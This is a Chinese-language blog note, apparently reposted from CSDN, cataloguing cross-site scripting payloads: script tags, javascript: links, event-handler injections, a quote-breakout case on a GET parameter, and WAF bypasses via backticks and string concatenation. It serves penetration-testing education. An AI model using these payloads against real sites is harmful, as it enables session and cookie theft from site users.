xss过滤绕过笔记

目录

xss弹窗构造方式

1、利用html中的<>

2、伪协议

3、html事件

案例

get请求中的变量返回到了响应体js的变量中

过滤了圆括号()

过滤了弹窗关键词


xss弹窗构造方式

常用方式如下

1、利用html中的<>

#alert
<script>alert(1)</script>
<script>alert(String.fromCharCode(88,83,83))</script>
<script>alert(document.cookie)</script>
<script>alert(document.domain)</script>
#prompt
<script>prompt(1)</script>
<script>prompt(document.cookie)</script>
<script>prompt(document.domain)</script>
#confirm
<script>confirm(1)</script>
<script>confirm(document.cookie)</script>
<script>confirm(document.domain)</script>

2、伪协议

<a href="javascript:alert(/xss/)">touch me!</a>   #点击超链接,即可触发XSS。

3、html事件

"事件驱动"是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS 可以对这些事件进行响应。所以我们可以通过事件触发JS 函数,触发XSS。

#单击事件
<input type="button" onclick ="alert(/xss/)" value="点我! "> 
<input type=``button`` onclick =alert(/xss/) value=``点我!``>
#双击事件
<input type="button" ondblclick="alert(/xss/)" value="双击666">
#悬停
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
#图片载入失败弹窗
<img src='#' onerror="alert(/xss/)">
#按下键盘触发
<input type="text" onkeydown="alert(/xss/)"> 

#点击提交就弹窗
<svg onload="alert(/xss/)">   #svg是html5中新出的标签,也是一个事件
<svg/onload=alert(1)//
#焦点  自动聚焦  
<input onfocus=alert(/xss/) autofocus>  #鼠标自动聚焦到这个标签然后进行弹窗

案例

get请求中的变量返回到了响应体js的变量中

如下get请求中的变量返回到了js的一个变量中,且变量用单引号包裹

/pages/export.jsp?totalCount=32
#返回包
var totalCount = '32';

知识点:js中 ; 和 - 都代表一个语句的结束

  1. 绕过

将前面的单引号构造闭合并结束掉,再写弹窗的语句,再结束语句

?totalCount=32';confirm(1);'
#或者
?totalCount=32'-confirm(1)-'

#返回包
var totalCount = '32';confirm(1);'';   #第二个分号后面也要加引号与后面的语句构造闭合,因为js中引号也要成对出现,否则会报错运行不了

过滤了圆括号()

输入的圆括号会自动转为||

怎么进行弹框呢?可以实用``尖括号代替,这里构造闭合,且``要进行url编码否则直接服务器报错

过滤了弹窗关键词

waf对了alert、confirm等关键词进行了拦截导致无法进行弹窗。可以用如下方式

<svg/onload=location='javas'+'cript:ale'+'rt(`who?`)'>

猜你喜欢

转载自blog.csdn.net/qq_44159028/article/details/126181011